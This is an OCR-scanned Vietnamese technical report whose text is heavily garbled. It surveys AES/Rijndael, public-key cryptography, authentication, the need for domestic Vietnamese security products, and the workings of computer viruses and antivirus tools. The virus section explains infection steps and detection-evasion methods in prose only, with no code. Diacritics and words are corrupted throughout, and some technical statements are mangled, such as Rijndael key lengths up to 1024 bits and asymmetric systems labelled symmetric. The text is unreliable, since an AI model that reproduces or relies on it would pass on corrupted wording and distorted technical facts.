Ching han hé ma Rijndael do cdc tic gid Vincent Rijmen va John Daeman dé
Xuit di dugc Vién Tiéu chuin va céng nghé Hoa ky NIST (National Instutute
of Standards and Technology) chinh thitc chon lam chuin ma héa ning cao ti
ngay 02 thing 10 nam 2000.

Hé Rijndael ciing nhu cdc hé khic déu c6 chung mét s& tinh chit sau:

1.3 cdc hé ma khdi, cdc khoi va chidu dai khéa c6 thé thay déi linh

hoat vdi cdc gid tri 128, 192, 256, 512 cho dén 1024 bits.

2. Cai dit bing cdc phép todn cd bdn trong phin cing nhu X-or nén c6

tdc d6 thye thi nhanh. Cau tric cdc ham va cdc S-hdp dudc cdi tién dé
ting dJ an toan.

3.3./Mat mi khéa cong khai

Trong cic phin trudc, chiing ta da trinh bay vé cdc hé théng bdo mit d6i
xing trong d6 cic qua trinh ma héa va gidi ma dugce thyc hién khi sit dung cédc
gidi thudt thich hgp véi ciing mot khéa. K& ca khi hai phép bi€n ddi mat ma st
dung céc khéa khdc nhau, vin cé thé€ dé dang xac dinh duge mot khoda khi biét
khoa kia. C4c gidi thuit doi xitng khoéng bdo ddm dudc bdo mdt néu nhu xic
suat khéa cda mdy gt (trén mang) bi 19 cao.

Y twdng vé cic hé mat mi khoa cong khai thudc vé Diffie-Hellman.
Viéc biét ek, khdng nhat thi€t lam 16 dg. Cu thé 13, ngudi thim mi c6 thé biét
duge ek , va do d6 vé nguyén tic, c6 thé bi€t ham ngugc cla ek (1a dk). Tuy
nhién, viéc tinh ham d tir ex cé th€ 13 bat tri, it ra 13 81 v8i hau hét cic khéa
K. Do vdy déi v8i moi muc tiéu thyc t&, viéc md héa mdt ban rd vin gilr duge
an toan'chong lai cdc tin cOng thim ma, cho di khéa 14p ma e dugc cong bd.

Hiam ek ¢6 tinh chit dugc mo td & trén (tdc 12 viéc tinh todn ham ngugce
clia ey la bat tri ngay cd khi di biét ex) dudc goi 12 him mot phia. N&u ek 13
ham mét phia thi cdp (ek, dg) dudc goi 13 m§t cip DH (DH thay cho Diffie va
Hellman).
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Nhu viy, viéc xdy dung cdc hé ma khoéa cong khai dua trén viéc xdy
dung cdc him mdt phia thich hgp, va viéc xiy dung cdc ham nhu vdy lai dya
trén cd sd ¥ twdng v& mdt cita sdp (Trap Door): thong tin da cong bd khong di
d€ hifu biét vé mot civa sap bi mit.

K3 thudt clta sip ding d€ xdy dyng haim mét phia c6 thé mé ta nhu sau:

1. Xudt phdt tr mét bai todn kho (I-Jéi't tri) Q.

ii. Xét mot bai todn con dé Q, clia Q. Q, cdn 8 mic thdi gian da
thic, t5t hon 13 & mifc tuyén tinh.

iit. Xdo trén Q, sao cho bii todn thu duge Q’, “cé vé gidng
nhu” bai todn ban ddu Q. Diung Q’ nhu 12 mdt khéa 14p ma cdng khai.

tv.  Giir bi mit thong tin lién quan dén viéc 1am th& nio d€ khai
phuc lai Q, tir Q’; . Thong tin niy dugc xem nhu 13 cira sip.

Vin d& xdc dinh cic tiéu chudn khung cho viéc xiy dung cdc hé mai
khéa cong khai 1a mot bai todn hdu nhu khdng gidi dugc. A. Salomaa di ching
minh ring: khdng ¢6 cdc hé mi khéa cbng khai khung. Nhitng van dé todn hoc
do mit ma hoc dit ra di phat trién mét linh vye nghi€n cifu mdi, linh vifc ndy
mdt mat, lién quan mait thi€t dén 1y thuyét d6 phdc tap tinh todn; mit khéc,
lién quan dén cdc cdng nghé va k¥ thuit 1dp trinh.

M3 ta téng quat cAc thuit toin khong ddi xitng

Khdc v6i hé thdng bdo mit ddi xing, hé bdo mat khong doi xing s dung
hai khéa khdc nhau: Khéa céng khai Kp va khéa bi mit kg (d8i vdi ngudi nhan).
Néu khéa kg clia ngudi nhin 1a bi mat thi bd sinh khéa phii duge dat & dau nguoi
nhin. N6i chung, cip khéa nay phu thudc vao diéu kién ban diu cla bd sinh. D&
1 khéa bi mét cla ngudi nhin va/hoic dé 16 diéu kién ban diu s& lam tSn hai dén
hé thdng d6

Khéa cdng khai phai khdc vdi khéa bi mat, khé c¢6 thé tinh ra dugc khda bi
mét néu biét khéa cong khai.

Mot dic diém cda hé thong bio mat khong d6i xing 1a ci khoa cong khai
1an ban ma c6 thé dugc truyén trén cdc kénh truyén cong cong nén d6i thi 6 thé
bi€t dugc cd ban ma 14n khéa cong khai. Hon nifa, ta gia dinh riing cdc giai thuit
mi héa va gidi ma déu cong khai:

Eg: M > C
Dg: C-> M

Diffie va Hellman di dua ra dinh nghia hé mat ma d6i xting (ho goi 1a hé
thong mét ma ding khéa cong khai) va dic td cdc diéu kién ciAn phai thda.
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N6 duge mé td bdi hinh vé dudi.

oK, lLis
Peter's
Message...

Ngu’Ri gai Kénh khong Nglfdénhén
an toan
M C M
—_—— EB - - - DB
Thong bao (Ban ma)
Ks ke
Khéa céng khai Khoa bi mat

B sinh khoda

I T Piéu kién
Ban diu

El'hém ma )
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Cic gia dinh nay phdt sinh tit cic yéu ciu bdo mait thuc t&. Néu viéc bdo
mat lai dua trén tinh bi mat ciia gidi thuat thi khi gidi thugt bi 16 s& din dé&n sy cin
thi€t phdi thiét k€ lai gidi thuat d& st dung. Piéu d6 s& din d&n viéc ling phi thdi
gian va tinh khong hiéu qua. Trén thyc t€, vin d& bdo mit s& dva trén tinh bi mat
clia cdc khéa crytographic. Do d6, mdi khi tinh bdo mit clia hé thong bi ton
thuong thi rat dé dang thyc thi lai bing cich thay khéa bi 16 bing mdt khéa méi.

C6 mot s3 didu kién cin phai théa d€ cho hé bao mat ddi xdng lam viéc
ddng din, do 1a:

1. Viéc tinh cdp khéa (khéa cong khai Kg, khda bi mit kg) trén ¢d sd cla
‘diéu kién ban diu phai d& dang, tic 13 né duge thuc hién tai mdy nhin B véi
khodng théi gian da thifc (polynomial).

2. Ngudi giti A, vdi khéa céng khai Kg da biét va théng bdo M clia minh cé
thé dé dang tinh dudc ban ma tudng tng:

C =Exs M) =Eg(M)
titc 14 cling véi khodng thdi gian da thic.

3. Mdy nhin B s dung bdng mi C va khoa bi mit kg clia minh ¢6 thé tai
tao lai dang nguyén thiy cida thong bio M

M =Dyp (C) =Dg(C) =Dg[Es(M)]

cling vdi khoang thdi gian da thitc.

4. N&u d6i thi biét dugc khéa céng khai Kz mudn tim ra khéa bi mat
va/hodc “di€u kién ban dau” thi anh ta s& gip phii mot van dé sd khé ¢6 thé thuc
hién dugc, tifc 1a gidi bai todn s& phdi qua rit nhi€u budc ma thyc t& khong thé
thue hién dudc.

5. N&u déi thi biét duge cip (Kg, C) thi ciing khé c6 thé tinh ra dugc théng
bdao M. )

Xét diéu kién 2 va 5. Chung dinh nghia cdc ham dugc goi la mot chiéu,
Picu d6 c¢6 nghia 12 phép bi€n d8i md héa Ex(M) 13 mdt chidu, tic 1a néu biét
dugc cip (Kp, M) thi khé c6 thé tinh ra dudc thong bao M. Ta c6:

(Kg, M) — easy - C
(Kg,C) — hard - M

Biy gig ching ta s€ nghié€n cifu mot s§ gidi thuat bio mat khong d6i xiing
trong thyc t€,

4./ Cac phudng phap chitng thue

17



Khi mang mdy tinh ngly cing dugc md rdng vdi viéc truy xuft mang cla
hiang ngan thi€t bi tram khdc nhau thi cdc yéu cdu v& bdo mit lai cang trd nén
quan trong. Viéc bio mat d6 ¢6 lién quan chit ch€ véi cdc phuong phdp bio mat
va cdc phuong phdp ching thuc. Sy c¢in thiét phdi 4p dung cdc phuong phdp
“ki€m tra tinh xdc thuc” dudc ndy sinh trong nhiéu bdi cinh khéc nhau va né dic
biét quan trong khi ngudi ding thao tic (tic dong) tif mot tram tif xa (remote). Ta

phén biét hai trudng hgp:

o “Chitng thuc ngudi dung” (User authentication).
e “Chitng thuc thong bdo” (Message Authentication). -

“Ching thuc ngudi ding” c6 th€ dugc thuc hién bing cdch tryc ti€p nhd
kiém tra cdc tinh chat dic td (specific) clia ngudi ding, hoic bing cdch gidn ti€p
khi mot mau thong tin bi mit nio dé dude chiing minh 1a thudc sd hitu cia ngudi
diing d6. Nhu viy, “Chitng thuc ngudi diing gidn tiép” twong duong véi “Ching

thuc théng bdo”. Chitng thuc thdng bdo c6 mdt ciu tric duge dinh trude cho thong
bdo.

C6 rat nhiéu mitc va nhiéu kiéu ching thyc khdc nhau, Mot s6 méi trudng
chi y&u cdu “Chiing thuc thong bio” don gidn va khong cin bdo mait, trong khi
cdc mdi trudng khdc thi cin d&n cd “Ching thuc va bdo mat”™.

Mang mdy tinh c6 thé coi 1a mdt “siéu mdy tinh” ma cdc tai nguyén ciia
né (phédn cing va phin mém) dugc phin bd trén tit cd mdt viing rong 16n (vé€ mat
vit ly) cho trudc. Phin dic biét quan trong cda “siéu mdy tinh” miy 13 mang
truyén thong, né k&t ndi cdc mdy tinh v6i nhau. Do méi trudng mang la diing
chung nén viéc truy xuit bat hop phdp t6i cdc tai nguyén bdi cdc ngudi diing 13
viéc khong thé tranh khéi. Hon nita cdc phuong phdp bio mit trén mang bdi hé
diéu hanh c6 nhiéu han ch€, ching han ching khdng thé si dung d€ bio vé thong
tin dugc truyén trén mang. Nhim gidi quyét vdn dé trén, ta s dung “Idp cdc
phuong phdp bdo mit” (class of protection methods).

Bao vé thong tin trén mang mdy tinh

Bdo mat thong tin 1a che ddu théng tin bing cdch bién d8i thong tin ban
d4u (clear text) thanh dang thong tin khong thé doc dude (cipher text). Muc dich
thit hai clia viéc bi€n d6i 12 do tim théng tin di bi thay d&i hay bi x6a mdt cdch
bt hgp phdp.

Cdc kénh truyén dudc bao vé la:

e Cic kénh ndi cdc mdy tram (terminals) vdi cdc mdy chi (hosts) (hay
nat),

e Cidc kénh tao nén mang truyén thdng.
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Mifc do va chit lugng bao mat phu thudc nhiéu vao ti clia kénh. Pic biét
d6i v6i kénh truyén vé tinh doi héi chit lugng ma héa thong tin rat cao.

Céc vin dé chung

Qua nhitng vin d& dugc trinh biy & trén ta thdy dugc tim quan trong clia
nhitng van dé bio mat thong tin trong cdc hé thong mdy tinh. Sy phat trién clia
linh virc bio mit thong tin dya trén hai nén tdng chinh sau:

e Thy nhit, dua trén su phdt tri€n cda 1y thuy&t mat ma hoc hién dai, nhu
12 mdt linh vuc todn hoc vdi sy phdt trién manh mé diy tiém ndng trong
tuong lal.

-e Th hai, su phit trién cia cdc cdng nghé may tinh.

Cic van dé b3o mit va thim mi, trudc mit s& con 12 cudc chay dua canh
tranh trong mot thoi gian dai cla nhifng ngudi bdo vé va nhitng ké tdn cong vao
cdc ngudn tai nguyén thong tin.

JJ nudc ta hién nay, mic di da bdt ddu trién khai cdc hé thdng thong tin
qudc gia, vdi tim quan trong & nhiéu cip do khac nhau, trén cdc mang dién rong
nhung nhitng vdn dé bio mit théng tin vin chwa dugc chi trong ding mic, chua
twong xung véi tim quan trong cfia cdc yéu cdu bdo mit dit ra. Diéu nay thé hién
trén ca hai phuong dién: nghién citu 1y thuy&t va trién khai cd4c mé hinh cong
nghé cho cdc ttng dung cu thé,

> Nghién citu I¥ thuyét: Hién nay & mudce ta cdc md hinh 1y thuy&t va
ting dung vin chua dudc xem xét va trién khai mdt cdch nghiém tic. Chiing ta
chua c6 cdc két qui nghién citu hodn thién dé c6 thé tao ra cdc sin pham bdo mit
clia riéng minh. Chua ¢6 nhitng ddu tu thich dang cho viéc trién khai nghién ciu
va phat trién cdc md hinh bdo mit phit hgp vdi nhu cdu phit trién hién tai.

» Trién khai ung dung: Hién nay cdc chic ning bdo mit trong cdc hé
théng mdy tinh & nudc ta da phan st dung cdc céng cu va phin mém do nudc
ngoai cung cip. Diéu nay khéng bdo ddm dudc tinh an toan thdng tin, vi cdc ly do
sau:

i. Ta hoan toan khong biét dudc cdc mo hinh st dung cho cai dit cu thé
ma chi biét cdc tinh ning ng dung do hé thdng cung cdp. Diéu nay
cling gidng nhu khi & khdch san ta dudc giao chia khéa phong. Khéa chi
an toin d8i véi khich tro, nhung ngudsi chll khach san c¢6 thé md phong
bat cif lic nao.

ii. Céc phin mém dng dung da phin déu 1a cdc sdn phim déng géi, nhu
cdc hé quin tri co sd dit liéu, cdc hé diéu hanh ,v.v. Do d6 viéc nhiing
cdc ¢d ch€ bdo mat do ngudi dung tao ra vao cdc hé théng d6 1a hiu nhur
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khong thé thie hién dude. Khong k& tit cd cdc phdn mém déu dudc thyc
hién théng qua phin cing, n&u nhu ngudi thi€t k&€ dit mot cdi “biy
théng minh” trong bd vi xt 1y thi hoan toan ¢ thé x4c dinh dugc cdc dia
chi dit liéu cit cdc “password” ching han.

iii. Phin I6n cdc cong cu phin mém dugc st dung & nudc ta déu 1a sin
phim cla cdc cdng ty My. Theo ludt phdp Hoa k¥ thi tit ci cdc sin
phim bdo mit bin ra ngoai déu phdi-dugc FBI cho phép va phdi tuin
thi cdc qui dinh cda FBI. Chinh diéu nay d3 gy nén rit nhiéu tranh
luin tai M§. Cdc minh ching thuc t&€ cho thdy nhi€u hé théng mdy tinh
khi st dung cdc cdng cu nay di bi truy cip bat hgp phdp, nhi€u dit liéu
mi hda di bj gidi ma mdt cdch d& dang. Chinh vi 1§ do nay ma nhiéu
qudc gia trén th€ gidi di xay dyung cdc mang biét lap cho cdc hé thong
dit liéu qudc gia, dic biét 13 hé théng quin sy vi an ninh.

Vdi nhitng phan tich trén, ching t6i thi€t nghi Nhi nudc cin c6 nhitng
quyét sdch va diu t thich hop cho viéc trién khai cdc chi€n luge bdo mat trong
thuc t& vi day la van dé song con cla d4t nudc.

Trién khai @ng dung

Vi cdc yéu cdn v& mic d6 bdo mat khdc nhau ta c6 thé lya chon céc
phuong 4n thich hgp d€ ddp ¥ng cdc nhu ciu dit ra mdt cdch thda ddng ma vin
dat dudc cdc tinh chat sau: '

* Antoan
= Thuin tién
®* Nhanh chong
» Tiét kiém
1. Cdc hé m3 doi xdng
) Maic du khd don gidn nhung cdc hé mi3 d6i xing hoan toan thich hdp cho
nhi€u muc dich bdo mit thong tin khdc nhau:

V3i cdc phép trdn thich hgp cla nhi€u hé ma c6 thé lam ting tinh an toan
cla hé théng. '

C4c hé ma ddi xing ¢S thé sit dung trong nhiéu cong doan khdc nhau cda
cdc nghi thitc bio mat dé ti€t kiém tai nguyén va ting t&c do thyc thi.

Véi nhitng yéu cau bdo mat trong mot khodng thdi gian ngin x4c dinh thi
cdc hé mi dd1 xing hoan toan thich hdp cho dng dung.
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2. C4c hé mi khéa cdng khai

e Mic dii an todn nhung cdc hé mi khéa cong khai doi héi tai nguyén 16n khi
thyrc thi: thdi gian va bd nhd. Trong thuc t€ cdc hé md nay thudng chi dugc
sit dung trong nhitng cong doan quan trong nhu: chiing thuc, tao chit ky, cit
giif password, cdc nghi thic giao ti€p (nghi thic bdt tay,...), trong tai..Nhiéu
hé mi cong khai cdi ti€n di duge sit dung d€ tang tdc do thyc thi.

e V4i nhing Ung dung thyc cu thé trong thuc t& ddi héi phéi c6 cdc nghi
thitc va qui trinh bao méit thich hdp.

Khi ngudi ta con dé cip dén cdc vin d€ bin quyén, khi ngudi chi cia cdc
hé thdng thong tin cdn lo ling d&n cdc van @& viruses, tin tic (haker) ... thi nhiing
vin dé cia bdo mit thong tin cdn phai dudc ti€p tuc nghién cttu va phdt trién.

Trong khudn kh§ gidi han cla bdo cdo nay, ching tdi khong thé trinh bay
tat cd moi vin dé va cdc thdo luin lién quan dén cdc vin d€ bio mit thong tin
mdt cich chi ti&t va diy di dude. Hy vong vdi nhitng vAn d€ di trinh bay c6 thé
v& nén mét bdc tranh khdi quit vé tim quan trong cla nhitng vin dé bdo mat
théng tin trong cdc hé thdng m4y tinh. Hy vong ring, bdo cio nay s& mang lai cdc
kién thitc b8 ich cho nhitng ngudi 1Am viéc trong linh vic cdng nghé thong tin,

I/ TINH THIET YEU CUA VIEC XAY DUNG CAC SAN PHAM BAO
MAT CUA VIET NAM

Nhin chung cac san phim bdo mat do cdc hiing nuwdc ngoai cung cép dép
tmg vé mat 1y thuyét cac nhu ciu va chirc ning bao mot khac nhau trong cac hé
théng vmg dung. Tuy nhién trong thyc té cac san phAm nhu vy khong hoan toan
dam bao va dap tng duge tit ca nhung ky vong cua ngudi st dung khi xdy dung
cac hé théng ing dung cia minh véi nhimg doi hoi v€ céc chirc nﬁng bao miét
khong do h¢ thong cung cap Ngoai ra tinh an toan van 12 mét ndi 4m anh cua

ngudi sir dung. Diéu nay xuat phat tir cac yéu td sau:

e Tinh déng géi cia san phdm: Khé nhing hodc tich hop céc chirc ning do
ngudi dung tao ra vao hé thdng. Vi du cic co ché bao mat trong cac hé
quan tri CSDL 1a mét minh chimg.

o Thiéu tinh trong sudt trong thiét ké: Nguoi sir dung chi duoc cung cap cic
chirc néng ma khong biét duoc cai dit cu thé do dé khong loai trir cac kha
nang “cira hdu” (backdoor) do nhitng ngudi phat trién hé théng tao ra.
Piéu nay ciing giéng nhu & khach san vdy, khoa phong chi an toan dbi véi
ngudi ngoai nhung khéng c6 ¥ nghia dbi v6i ngudi quan ly Khéch san.
Diéu nay da c6 nhitng minh ching trong thuc té.

Vén dé bao mat dién tir 13 mot mbi quan tim 16n khi ching ta dang trién
khai cai cach hanh chinh, xay dung chinh phu dién tr va dang trién khai timg
budc cic CSDL qubc gia trén cic mang dién rong. Dé co thé trién khai mét cac
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hiéu qua va an toan cac CSDL 16n va quan trong chung ta phdi timg buéc xay
dung cdc chudn m3 héa dir liéu va phai quan ly dugc mét cach chic ché cac dich
vu bdo mét cua neng minh. Ndm 2006 Viét Nam s& phong v¢ tinh vién thong
VINASAT, diéu nay sé& cai thién mét cach dang ké co s0 ha ting k¥ thudt truyen
théng, cac dich vu va img dung CNTT s& dugc phét trién véi mot qui mé va tée
d6 chua ludng hét dugc. Nhung didu nay cling ddt Viét Nam ching ta truée mét
thach thirc 10n, khi chua lam chi duge hét cic cong nghé truyén dan va cong
nghé bao mét, khong loai trir kha néng cac dit liéu quan trong cta quoc gia s€ bi
chuyen tai va khai thic mot cach bat hop phdp ¢ nudc ngoai lam ton hai dén loi
ich qubc gia. Do do viéc xay dung cac chién lugc phat trién va cdc cdng cu bao
mét dién tr la cac san phdm chit lwong cao cta Viét nam dép mg cc nhu ciu
phat trién (g dung dang 1a mét doi héi hét sirc birc xiic dang duoc dat ra trude
céc nha quan ly cling nhu cic nha tin hoc Viét nam. Day la mdt Iinh vyc dic biét
quan trong nhung v4 cung rdng 16n va phic tap doi hoi phai dirgc quan tim trong
dinh hudng phat trién va diu tu ding muc ctia Nha nudc.
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CHUONG II ) ] _
TONG QUAN VE MOQT SO SAN PHAM VA CONG CU BAO MAT
PHO BIEN PANG PUQC AP DUNG HIEN NAY CHO CAC HE
THONG THONG TIN PIEN TU TAI VIET NAM.

I/ TONG QUAN VE CAC GIAI PHAP BAO MAT PHO BIEN HIEN NAY

Hién nay viéc bao mat hé théng may tinh ¢on bi xem nhe hodc nhén thirc mo
hd & nhidu td chire, nhit 14 & Viét Nam. Céc giai phap bio mit ma céc td chirc ap
dung chi yéu chi  dimg lai ¢ mirc sir dung cong cu bao mat Ia chinh va thuong thi chi
sit dung & mirc hd tro méc dinh cua cong cu. Thdm chi ¢6 nhitng noi chi can nghe c6
ngudi gi6i thidu vé cong cu la 1ap tire cai dat vao hé théng ngay, khong cin phai qua
qua trinh tim hidu va kiém tra cdc tinh ning cia céng cu. C6 nhimg noi sau khi cai
dat va cdu hinh cho hé thong thong tin hoat dong xong thi coi nhu da yén tim, cir dé
nhu vay cho chay quanh nam sudt thang, khéng cén phai c6 ké hoach kiém tra, xem
x€t va cung co hé thong Tinh trang trén din dén mot két qua la cac hé thong thdng
tin hoat dong khong 6n dinh va do d6 céc té chirc khong thé yén tdm dé giao pho
hoan toan cac nghiép vu cho hé thong thong tin xur ly din dén tinh trang tin hoc héa
nua vol, 1am giam hiéu qua lam vige cta t6 chirc do khong tén dung duoc hét sirc
manh ctia hé théng thong tin.

Pé cai thién tinh trang trén, cac t6 chirc cAn c6 cac bién phap nang cao kha
nang nhén thac vé bao mét cho nhitng ngudi 1am cong tic quén tri hé théng thong
tin dé ho cé cai nhin toan dién v& linh virc bao mét; phai coi viéc bao mit cho hé

thong 12 mdt vide lam lién tuc, thuong xuyén va phai dau tr ding muc cho cong
viéc nay.

Tém lai, nhitng ngudi 1am cong tic quan tri hé théng théng tin nén hiéu ring
bao mét khdng phai chi la cac cong viéc:

- Cai dat va sir dung cac tudng lira va chuong trinh chdng virus.
- Tét hét cac dich vu dé khdng bj tin cong.
- Khoa hét céc huéng truy cdp vao hé théng.

Ma cén phai hiéu bao mat mot cach rong hon, ban chét hon:

- Cén phai can nhic giita hiéu qua hoat dong cia t6 chirc va viéc giéi han
cac dich vy, chirc ning cia hé théng.

- Phai lién tuc phat trién va cing cb chinh sach bao mat ctia hé théng.
- Phai luén ndm bét dugce cic didm yéu ciia hé théng.

- Lién tuc thuc hién viéc xac dinh va danh _gia cac nguy co tiém 4n qua
viéc phén tich tinh hinh sir dung phan mém, phan cimg cla céc thanh
vién trong hé théng va c6 ké hoach dé déi pho.

- Quan ly viéc st dung cic mdy tinh trong hé théng.
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IL/ CAC CONG CU HO TR(Q BAO MAT PHO BIEN HIEN NAY

Hién nay co rat nhiéu c6ng cu hd tro cho viéc bao mdt va quan trj hé thong
Dé ¢6 thé st dung tdt mot cong cu nao d6 ta can phai hiéu drgc nguyén ly lam viéc
chia cong cu d6 va sau do khao sat va kiém tra thit k¥ cac tinh ning trudc khi dua
v4o 4p dung trong thirc té. C4c cong cu bao mét hién nay c6 thé dugc phan loai nhu
sau:

1./ Cic chwong trinh chéng virus may tinh
1.1./ Virus may tinh la gi

Virus may tinh 12 mdt doan chuong trinh may tinh dugc 1dp trinh véi muc
dich pha hoai va c6 kha ning ty copy chinh né dé chén vao céc tip tin thuc thi. Qua
trinh copy nay goi 1a qua trinh lay nhim. T4p tin chira doan chuong trinh cia virus
goi 14 tép tin bi nhiém virus.

Chu vy ring virus may tinh chi 14 doan chuong trinh chir khong phai 13 mot
chwong trinh may tinh hoan chinh, nghia [a né khong ¢ kha ning tu chay nhu mot
tap tin chuong trinh ma phai ky sinh vao mét tip tin chuong trinh théng thudng dé
chay doan ma cua minh (ciing gidng nhu virus song ky sinh trén céc sinh vat séng).
Do dé virus chi cé thé 1ay sang may khac khi tap tin chuong trinh bji nhiém duoc
chép sang va cho chay trén may do.

Chung ta cn phén biét giita khai niém virus va bo may tinh (worm). Co ché
hoat dong cua bo may tinh cling tvong ty nhu virus may tinh, cling pha hoai va cé
kha ning liy nhiém. Tuy nhién bo may tinh 12 mét chuong trinh hoan chinh, n6 ¢6
thé tr chay ma khong can phai ky sinh vao mdt chuong trinh khéc. Do do, bo may
tinh c6 kha ning tr copy minh qua mang dé lay sang cac mdy tinh khac hoic co thé
thuc hién cac cudc pha hoai bang thdng mang.

Co ché 1ay nhiém ctia virus: dé c6 thé 1y nhiém thi diu tién trén hé théng cin
phai chay file chuong trinh ma cé chita ma virus, lic d6 doan ma nay s& dugc chay

dAu tién va thure hién cong viée pha hoai va lay nhiém. Virus ¢6 thé duge chia ra lam
hai loai: loai khéng thudng tr va loai thudng tri.

e Loai khong thudng tri: khi mdt tﬁp tin chia doan ma cua virus khong
thuong tri dugc chay thi doan ma virus s€ thyc hign phé hoai va tim kiém
cac tap tin c6 thé lay nhlcrn duge rdi copy doan ma ciia minh chén vao do.
Sau d6 tra lai quyén diéu khién cho chwong trinh chinh. Cac buéc lay nhidm.
c6 thé duge mé ta nhu sau:

- MG¢ tap tin s& 13y nhiém.

- Kiém tra xem tdp tin ndy d bj lay nhidm chwa? Néu da bi 1ay nhiém thi
tiep tuc tim tap tin khac.

- Copy doan ma virus va chen vao tdp tin.

- Luu lai diém bat dau chay hién hanh cua tap tin,
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- Thay ddi diém bit diu chay hién hanh cua tip tin dé chi dén doan ma
virus vira chén vao. Diéu nay 1am cho khi tdp tin chay thi doan ma virus
s& duoc chay déu tién.

- Luu diém bat diu chay cii cta tip tin vao mét vi tri ndo d6 cia tap tin dé
doan ma virus sau khi chay s& nhay dén diém nay dé chwong trinh chinh
bét dau thuc hién cac chirc ning binh thudng cua nd.

- Luu va dong tap tin da bi lay nhiém.

- Tiép tuc tim kiém c4c tdp tin khic dé 13y nhiém.

Loai thuong tri: cach ldy nhidm cta loai thudmg tri cing gidng nhu loai
khong thudng trit. Tuy nhién loai nay khong thuc hién viéc tim kiém cac tip
tin d¢ ldy nhiém ma virus s& ti nap né vao bd nhd RAM cua mdy tinh, sau
do s€ giam sat va lay nhiém vao bét ky tap tin thyc thi nao dugce truy cdp boi

" hé théng. Loai thudng tra nay thuong rat nguy hiém vi né thdm chi c6 thé

lay ca vao tlen trinh quét virus dang chay, va n€u cong viéc nay thanh cong
thi sau d6 mdi khi tién trinh nay quét tap tin nao (nghia 14 cé sy truy cip vao
tip tin d6 xay ra) thi virus sé& lay vao ngay tdp tin do.

Ngoai viéc pha hoai va lay nhiém, cic virus con c6 theé trang bi thém cic kha

nang chong bi phét hién. Sau day la cic phrong phap thong thuong hién nay dé
virus chong bi phét hién:

Sau khi lay nhi€m vao t3p tin, mét sb virus s& dit lai ngay giv sia dbi tap tin
giong nhu lac chura bi 13y nhiém.

Mot s virus ¢6 kich.thude nho hon 1KB sé& chén nhimng doan ma cta minh
vio nhimg vimg khong sir dung ctia tdp tin bi 1y nhi€ém, do dé6 lam cho kich
thudec tdp tin bi 14y nhiém khong thay d6i sau khi bi nhiém.

MGt s6 virus cd co ché tim va tit tit ca cac tién trinh tim va diét virus cua
cac chuong trinh quét virus trude khi tién trinh nay phat hién ra minh.

Mot s6 virus c6 kha néng phat hign ra cac tién trinh quét virus dang chay va
khéng 13y vao céc tién trinh d6 dé tranh tnrong hop tién trinh quét virus d6
quét nguoc lai tién trinh va phat hién ra virus.

Mot sé virus c6 kha nang phat hi¢n va khong lay nhiém vio céc tip tin lam
mdi nhir virus do c4c tién trinh quét virus tao ra.

Mt s6 virus c6 thé thay d8i ma dic trung clia ching & m&i lan ldy nhiém dé
gay kho dé€ cho cac chuong trinh quét virus trong viéc nhdn dang virus qua
mi déc trung.

M0t s6 virus ¢ thé thuc hién ma héa ma thyc thi cia chung dé chén vao tap
tin bi nhiém va dén khi thuc thi thi chung lai giai ma ra dé chay. Viéc nay

nhim muc dich giy khé dé& cho cdc chuong trmh queét virus trong viéc nhén
dang virus qua mi dic trung.

1.2./ Céc chuong trinh chdng virus
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Chuong trinh chéng virus 12 mgt chuong trinh may tinh thuc hién cong viée
phat hién, ngin can hoat dong va tiéu diét virus may tinh. Pé thuc hién céng viéc
trén, cac chuong trinh chdng virus thudmg ding hai k¥ thudt sau:

¢ Kiém tra virus trong cac tap tin dua vao mdt tir dién cac virus d biét.

« Nhin dang virus qua vigc phan tich cdc hanh vi kha nghi cia mét chwong
trinh may tinh. Viéc phan tich nay c6 thé thuc hién bang cach theo ddi qua
dir liéu, theo ddi qua cac port, ding cdc tip tin moi nhu hodc cac phuong
phap khéc..

Hiu hét cdc chuong trinh chdng virus déu hé tro hai k¥ thuét trén, nhung ky
thudt dung tir dién virus dugce dung thudmg xuyén hon ca.

e Ky thudt phat hién virus bing tir dién virus: khi chuong trinh chéng virus
kiém tra mdt tap tin, n6 s& dya vao tir dxen virus chira cac déu hiéu nhan
“dang cua cac virus da biét dé kiém tra. Néu trong tap tin duge kiém tra c6
chira bat ky doan ma nao phu hop v&i ddu hiéu trong tir dién thi chuong
trinh chdng virus s& hodc la xda virus ra khoi tp tin, hojic 13 ngin cin vige
truy cap tap tin d& dam bao an toan cho hé théng, hodc 14 xda tap tin.

e Ky thudt phat hién virus bing phan tich hanh vi:

- Chuong trinh chng virus s& gidm sat moi hoat ddng ciia cac tién trinh dé
nhin dang virus qua cac hanh vi ddc trung ctia né. Vi du nhu néu n6 thiy
mét tién trinh nao do dang tim cach ghi vao mét tip tin thuc thi (cé thé
day 12 hanh vi 13y nhiém) thi s& thdng bao cho ngudi ding.

- Chuong trinh chong chwong trinh chéng virus s& thir chay doan code diu
tién cua mdi tién trinh khi tién trinh nay khéi dong trude khi trao lai
quyén diéu khién cho tién trinh va thuc hién phan tich dé xem doan code
diu tién ndy c6 hanh vi cia mdt virus hay khéng. Vi du nhu néu doan
code diu tién nay thue hién viéc tu nhin ban hodc thuc hién viéc tim kiém
cac tap tin thuc thi khac thi ¢6 kha niang diy 1a hanh vi cda virus, khi do
chuong trinh chdng virus sé théng bao véi ngudi ding.

- Chuong trinh chong virus ¢6 thé gid 18p mét moi trudmg dé chay thir cac
tién trinh cin kiém tra, sau khi két thic viée chay, chuong trinh chéng
virus s€ phan tich két qua tén hai trén méi trurdmg gia lap dé xéc dinh sy
tdn tai cua virus.

2./ Cic chwong trinh chéng gian di¢p may tinh
2.1./ Gian diép may tinh 12 gi

Gian diép may tinh 12 mét chuong trinh mdy tinh thuc hién cong viéc giam
sat, diéu khién cac hoat dong cua hé théng ma khong hé c6 su hay biét hoic cho
phép cua chii nhan hé théng. Gian diép mady tinh ciing ¢6 thé 1a cdc chuong trinh gia

mao nhimg chuong trinh chinh thic dé lira ddo 14y cép théng tin cta ngudi ding,
ngua thanh Troa [4 mot vi du vé chuong trinh gian diép loai nay.
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Gian diép may tinh khong ty lay lan nhu virus hodc bo, ma thong thudng n6
tham nhép vao cac hé thdng mdy tinh do ngum dung v0 tinh cai dit hodc chay mét
chuong trinh nao d6 khong biét rd ngudn gbc.

Khéng gidng nhitng virus, gidn diép mdy tinh thuong khong pha hoai hé
théng ma né chi khai thac hé théng dé phuc vu cho cac muc dich thurong mai, lira
gat. Vi du nhu: ty dong dua ngudi duyét web dén nhimg trang quang cdo di dinh
sin, gidm sat ban phim dé danh cép nhitng théng tin ca nhén..

2.2./ Cic chwong trinh chéng giin diép may tinh

Cac chuong trinh chéng g1an diép mady tinh thudng su dung hai k¥ thuét chinh
